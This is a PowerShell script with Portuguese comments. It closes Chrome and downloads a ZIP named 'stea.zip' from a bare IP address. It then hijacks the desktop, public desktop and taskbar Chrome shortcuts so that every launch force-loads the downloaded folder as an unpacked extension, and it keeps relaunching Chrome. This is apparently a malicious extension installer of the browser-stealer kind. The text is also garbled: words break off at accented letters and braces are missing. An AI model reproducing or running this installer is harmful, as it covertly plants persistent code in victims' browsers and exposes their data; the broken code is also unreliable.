# Definir URL do arquivo ZIP e o caminho local para salvar
$url = "http://45.61.137.37/stea.zip"
$localPath = "C:\winsoft"
$zipFile = "$localPath\stea.zip"
# Criar diret
rio se ele nao existir
if (-not (Test-Path $localPath)) {
New-Item -ItemType Directory -Path $localPath
Write-Output "Diret
rio criado: $localPath"
# Tentar finalizar qualquer processo do Chrome aberto
Get-Process -Name "chrome" -ErrorAction Stop | Stop-Process -Force
Write-Output "Processos do Chrome encerrados com sucesso."
} catch {
Write-Output "Google Chrome nao esta em execucao ou nao pode ser fechado."
# Baixar o arquivo ZIP
Invoke-WebRequest -Uri $url -OutFile $zipFile
Write-Output "Arquivo ZIP baixado: $zipFile"
# Extrair o conte
do do ZIP
Expand-Archive -Path $zipFile -DestinationPath $localPath -Force
Write-Output "Conte
do do ZIP extraido para: $localPath"
# Caminho da extensao dentro da pasta extraida
$extensionPath = "$localPath"
# Verificar qual versao do Chrome esta instalada
$chromePath = if (Test-Path "C:\Program Files\Google\Chrome\Application\chrome.exe") {
"C:\Program Files\Google\Chrome\Application\chrome.exe"
} elseif (Test-Path "C:\Program Files (x86)\Google\Chrome\Application\chrome.exe") {
"C:\Program Files (x86)\Google\Chrome\Application\chrome.exe"
} else {
throw "Google Chrome nao esta instalado."
# Caminhos para os atalhos no Desktop do usuario e p
$desktopPath = [Environment]::GetFolderPath("Desktop")
$publicDesktopPath = "C:\Users\Public\Desktop"
$taskBarShortcutPath = "C:\Users\$env:USERNAME\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\Google Chrome.lnk"
# Funcao para criar atalho
function Create-Shortcut {
param (
[string]$shortcutPath,
[string]$targetPath,
[string]$arguments,
[string]$iconLocation
$WshShell = New-Object -ComObject WScript.Shell
$Shortcut = $WshShell.CreateShortcut($shortcutPath)
$Shortcut.TargetPath = $targetPath
$Shortcut.Arguments = $arguments
$Shortcut.IconLocation = $iconLocation
$Shortcut.Save()
Write-Output "Novo atalho criado: $shortcutPath"
# Argumentos para carregar a extensao
$arguments = "--load-extension=`"$extensionPath`""
# Criar atalho no desktop do usuario
$shortcutPathDesktop = "$desktopPath\Google Chrome.lnk"
if (Test-Path $shortcutPathDesktop) {
Remove-Item $shortcutPathDesktop -Force
Write-Output "Atalho existente removido do desktop do usuario: $shortcutPathDesktop"
Create-Shortcut -shortcutPath $shortcutPathDesktop -targetPath $chromePath -arguments $arguments -iconLocation "$chromePath,0"
# Criar atalho no desktop p
$shortcutPathPublicDesktop = "$publicDesktopPath\Google Chrome.lnk"
if (Test-Path $shortcutPathPublicDesktop) {
Remove-Item $shortcutPathPublicDesktop -Force
Write-Output "Atalho existente removido do desktop publico: $shortcutPathPublicDesktop"
Create-Shortcut -shortcutPath $shortcutPathPublicDesktop -targetPath $chromePath -arguments $arguments -iconLocation "$chromePath,0"
# Criar atalho na barra de tarefas
if (Test-Path $taskBarShortcutPath) {
Remove-Item $taskBarShortcutPath -Force
Write-Output "Atalho existente removido da barra de tarefas: $taskBarShortcutPath"
Create-Shortcut -shortcutPath $taskBarShortcutPath -targetPath $chromePath -arguments $arguments -iconLocation "$chromePath,0"
# Opcional: Limpar arquivo ZIP ap
s extracao
Remove-Item $zipFile -Force
Write-Output "Arquivo ZIP removido apos extracao: $zipFile"
# Iniciar o Chrome de imediato usando o atalho do desktop do usuario
Start-Process "$shortcutPathDesktop"
Write-Output "Chrome iniciado a partir do novo atalho no desktop do usuario."
# Loop para garantir que o Chrome seja iniciado com a extensao
$maxAttempts = 12
$attempt = 0
$chromeRunning = $false
while (-not $chromeRunning -and $attempt -lt $maxAttempts) {
Start-Sleep -Seconds 5
$chromeRunning = Get-Process -Name "chrome" -ErrorAction SilentlyContinue
if (-not $chromeRunning) {
Write-Output "Chrome nao esta em execucao. Tentativa de iniciar novamente ($($attempt+1)/$maxAttempts)."
Start-Process "$chromePath" -ArgumentList $arguments
} else {
Write-Output "Chrome esta em execucao."
$attempt++
if ($chromeRunning) {
Write-Output "Chrome iniciado com sucesso."
} else {
Write-Output "Falha ao iniciar o Chrome apos $maxAttempts tentativas."
# Mensagem final
Write-Output "Processo concluido. Atalhos para o Chrome atualizados no desktop do usuario, p
blico e na barra de tarefas."